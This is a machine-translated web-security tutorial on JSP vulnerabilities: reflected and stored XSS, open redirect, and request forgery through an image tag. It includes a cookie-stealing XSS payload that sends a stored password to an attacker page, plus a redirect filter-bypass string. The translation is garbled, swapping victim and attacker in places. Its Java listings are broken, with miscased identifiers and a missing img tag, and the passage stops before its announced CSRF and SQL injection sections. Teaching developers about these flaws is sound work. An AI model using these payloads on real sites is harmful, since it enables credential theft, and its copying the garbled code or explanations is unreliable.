Common Web security Vulnerabilities _ Security

Original link: http://www.ibm.com/developerworks/cn/web/1012_weiqiang_webattack/

Introduction: WEB Security issues are often overlooked by programmers because they believe that there will be a professional operational staff or security Service team to help them find vulnerabilities and instruct them to modify them. And for small companies, there is no such professional staff and how to do it. Security vulnerabilities cause a lot of unnecessary maintenance and development tasks, and the problems that arise are sometimes more fatal. In fact, as long as the programmer to develop some habits, know some of the basic principles of security issues, to a large extent to avoid problems, which is a good WEB programmer's essential qualities. This article uses the actual JSP program example, explained the Web security question type and its appearance reason, explained the basic solution method, helped the Web programmer to improve the programming custom.

Note: All of the examples in this article are based on Jsp/servlet technology, but the principles of vulnerabilities and solutions apply to other WEB technologies.

Web Security Status

The current situation of web security is not optimistic, in recent years, there are also major practical cases of web attacks, such as the Ministry of Information Industry, the official newspaper "China Electronic newspaper" website was hacked, university student Network bank theft. According to another survey, the current site of common attacks, SQL injection, XSS and Cross-site scripting attacks accounted for a large part. Attackers often do not have a clear purpose, and some attacks do not bring them benefits, just out of beginner's curiosity and the success of the attack, that is, many attacks due to beginners. In fact, like many beginner hacker attacks can be defended, as long as we understand the rationale, we can deal with a lot of rookie hacker attacks, reduce operational costs. So the article once again stressed that the Web programmer need to pay attention to the programming habits, try to ensure the security of the site.

Actual combat

The article embarks from the actual JSP example, tries to explain the security problem causes. These examples of code is my beginner JSP, but also many people in the beginning to learn JSP easy to write the problem code. The code does not seem to have any problems, but there are often huge vulnerabilities. The example, though simple, is very illustrative. The article will use 6 examples to describe 6 Web attack methods and principles, as well as what the programmer needs to be easy to defend. You can view the effects from the picture introduction. The sequence of 6 Web vulnerabilities is described in the following table, and the reader can also choose the section of interest to click and view.

· Reflection-Type XSS Vulnerability

· Save-type XSS vulnerability

· REDIRECT Vulnerability

· This site request vulnerability

· Cross-site Request vulnerabilities

· SQL Injection Vulnerability

。

Problem code---Reflective XSS vulnerability

A reflective XSS vulnerability is a very common Web vulnerability because programs dynamically display user-submitted content without validating the content that is displayed. So this allows an attacker to design the content as an attack script and entice the victim to display the attack script as content, while the attack script actually starts executing the victim's message when it is opened to steal the victim information.

An example is a program that displays error messages dynamically, and error messages can be passed in URLs that are displayed with no restrictions on the server, in line with the conditions of a reflective XSS attack.

Listing 1. index.jsp Main code

<form action= "Reflectxssserver" method= "POST" >

User name: <input type= "text" name= "username" value= ""/><br>

Password: <input type= "password" name= "password" "value=" "/><br>

<input type= "Submit" value= "submitted"/>

</form>

Listing 2. Reflectxssserve.java Main code

String username = request.getparameter ("username");

String Password = request.getparameter ("password");

Add user information to cookies to facilitate automatic logon next time

Addtocookie ("username", username);

Addtocookie ("password", password);

Request.getrequestdispatcher ("

Error.jsp?error=password is wrong! "). Forward (request, response);

Listing 3. error.jsp Main code

Error message: <%=request.getparameter ("error")%>

index.jsp as user login interface, submit login request to Reflectxssserve.java. Reflectxssserve.java handles login requests, logs user names and passwords to cookies, and facilitates user logon next time. If the login information is wrong (the example code directly considers the error), it jumps to the error.jsp, displays the error message, and the error message is passed by the parameter named error.

Problem analysis

The code is simple and seems logical, but the program exposes a serious problem where the error message is passed through parameters and is displayed without any processing. If an attacker is aware of such a error.jsp, an attacker can easily attack the user and gain important information about the user.

Attack this program

Can design such a url:http://localhost:8080/application/error.jsp?error=<script>var mess = Document.cookie.match (new% 20REGEXP ("password=" ([^;] *)) [0]; window.location= "http://localhost:8080/attacter/index.jsp?info="%2bmess</script>. This looks a bit complicated, let's analyze it. Http://localhost:8080/application/error.jsp?error= This part, is the address of error.jsp, we mainly care about the error message content, this is a JavaScript script, Document.cookie.match (New%20regexp ("password=") ([^;] *)) [0], in order to obtain a value named password in the cookie. Then, window.location redirects to the attacker's Web site and passes the password as a parameter, so that the attacker will know your password. Later, just let the attacker login and click on the URL.

In order for an attacker to be able to click on the URL, an attacker would often construct a Web page, or mail, that would attract an attacker, which would have an image name: a phishing attack. When an attacker logs on to the application system, the cookie saves the username and password information. As the main body of the design URL is a trusted site, the attackers often hesitate to click on the attacker's design URL, then the script is designed as the content of the information embedded in the error.jsp, it will be executed as scripts, user names and passwords are stolen.

Figure 1. User Login Interface

User input username and password, respectively, user and pass, login after the phishing attack, click on the attacker's design URL.

Figure 2. Entice the user to click on the URL

The attacker designed the URL containing the attack script, and after the execution of the attack script, password's content was uploaded to another Web site, which was Attacter (included in the attachment), and password information was logged to the attacker's database.

Figure 3. Attack successful Interface

Solving method

As far as possible to avoid direct display of data submitted by users, should be a certain filtering, such as the existence of the data < and > symbols need to encode, so you can prevent script attacks.

Problem code---Save-type XSS vulnerability

Save-type XSS vulnerabilities are more damaging, which is to save the attack script to the attacked Web page, and all users browsing the page will execute the attack script.

This example mimics the Web page of a forum that publishes comments. For user comments, the system is saved directly to the server's database (for example, using global objects instead of databases, as exemplified) without any restrictions or validation. And all comments are displayed when other users view the page.

Listing 4. savexss.jsp Main code

<jsp:usebean id= "TL" scope= "Application" class= "Java.util.LinkedList" ></jsp:useBean>

<%

String topic = (String) request.getparameter ("topic");

if (topic!= null &&!topic.equals (""))

{

Tl.add (topic);

}

%>

<div>

<% for (Object obj:tl)

{

String str = (string) obj;

%>

<div><%=str%><div/>

<%}%>

</div>

<form action= "savexss.jsp" method= "POST" >

Comments: <input type= "Text" name= "topic"/><br>

<input type= "Submit" value= "submitted"/>

</form>

Here we use an application-level list object to store a comment list, just for demonstration convenience. Users can write comment content in form, submit to the same page savexss.jsp, after submitting, the List object adds this comment and displays it.

Problem analysis

This program complies with all the conditions of a saved XSS attack, does not restrict comment content, and the program saves all comments, which are displayed to users who view the page. As long as the attacker takes the attack script as a comment, all users who view the comments will be attacked by executing the attack script.

Attack this program

The attack script needed to attack this program is the same as the error display above but note that this time do not need to encode,%20 to white space, and%2b is changed to +, because the above example is through the URL to pass data, and this example is passed directly through the form of data, attack script: <script >var mess = Document.cookie.match (new RegExp ("password=" [^;] *)) [0]; window.location= "http://localhost:8080/attacter/index.jsp?info=" +mess</script>, which is published as a comment, Then when other users view the page, the attack script code is embedded in the Web page as content, the attack script is triggered, the user is attacked, and the script execution process is consistent with the reflective XSS attack.

Figure 4. Comment Interface

The published content is an attack script designed by an attacker, which is saved directly to the Web page. Any other users who view this page will get their information stolen.

Figure 5. Submit an attack script

> Solutions

For the storage XSS vulnerability, because we inevitably need to display the user submitted data, so filtering is inevitable, filtering < and > symbols can avoid the above vulnerabilities.

Problem code---REDIRECT Vulnerability

If the application extracts user-controllable input and uses this data to perform a redirection that instructs the user's browser to access a URL different from the user's request, a redirection vulnerability can result.

The example allows the user to enter a redirect path that the server performs a jump.

Listing 5. index.jsp Main code

<form action= "Redirect" >

Address: <input name= "target" type= "text" ><br>

<input type= "Submit" value= "submitted" >

</form>

Listing 6. Redirect.java Main code

String param = request.getparameter ("target");

if (param!= null &&!param.equals (""))

{

Response.sendredirect (param);

}

The user enters the path of the jump in the index.jsp form, and the server-side Redirect.java performs sendredirect redirection.

Problem analysis

The program allows the user to set the redirected address without verifying the content of the address, instead of directly jumping, the attacker can design an attack URL that contains the attacker's design, using a phishing attack to entice the user to click the URL and be attacked.

Attack this program

Design url:http://www.baidu.com, here just to jump as an example, and did not build a really harmful web site, so use the ordinary address as a demo, assuming that this address has a lot of harmful information. Where http://head is very important, it can let the server perform an absolute jump, jump to www.baidu.com. If there is no http://, it jumps to the relative path of the system.

Figure 6. Input path

Click Submit, the webpage will jump to Baidu interface.

Someone is trying to handle a jump path like this param:param = Param.replacefirst ("http://", ""); Replacing the first http://with an empty string is thought to solve the problem, but the attacker is often smart enough to change the URL to: http://http://, even if the first one is replaced, the next day the http://will take effect. So if you treat param this way: param = Param.replaceall ("http://", ""); With all the http://replaced, the attacker could design the URL as hthttp://tp://, replace the middle http://with null, and the HT and tp://combinations turned into http://again, and the attack took effect again, so we needed a more comprehensive consideration.

Solving method

Avoid the page that the user decides to jump to, and if you have to do this, only the number or English characters allowed in the path can avoid the problem.

Problem code---This site request vulnerability

This site request forgery (on-site request FORGERY,OSRF) is a common attack payload that leverages a saved XSS vulnerability. The attacker designed the attack code to be saved to the hacked Web page, and the attack code was executed when the normal user or administrator viewed the page, and the purpose of the attack code was to make a request to the server disguised as a user viewing the page.

This is a published image of the forum example, the user can enter the image URL, the forum is responsible for reading this URL to display.

Img.jsp is the same as the savexss.jsp code of the previous text, but this time the display is no longer a string, but a need to

<div><%=str%><div/> changed to <div> width=50 Height=50/><div/> The purpose is to display images uploaded by the user.

Listing 7. admin.jsp Main code

<%

String username = (string) request.getparameter ("username");

System.out.println ("delete" + username);

%>

<%=username%>

ADMIN.JSP is a request handler that an administrator uses to delete a user, and admin.jsp should actually determine if it is an administrator account, and if so, allow the user to be deleted. This example assumes that the request is indeed issued to the administrator.

Problem analysis

This program obviously has a save-type XSS vulnerability, and the uploaded content is used as the image url,img tag is the door of the site request vulnerability, because IMG always executes the SRC attribute URL request, regardless of whether SRC is pointing to the real image. This program does not verify whether SRC is a picture address, so it can forge a request.

Attack this program

The uploaded image URL is designed to: admin.jsp? Username=hello, submitted up, from the attacker's point of view, only the picture is not shown, because the attacker is not an administrator, so actually cannot delete hello this user. But when the admin opens the page, the IMG tag executes admin.jsp? Username=hello request, request to delete hello user, because it is really the request of the administrator, the server performs the delete operation, deletes the hello user, the attacker's purpose is reached.

Figure 7. Enter Attack URL




Figure 8. Attacker submits URL

The attacker clicks on the submission and has no effect on itself, except that the picture is not displayed. However, when the administrator logs on, the user's deletion in the admin.jsp is performed, in the case of the print deletion message to the console.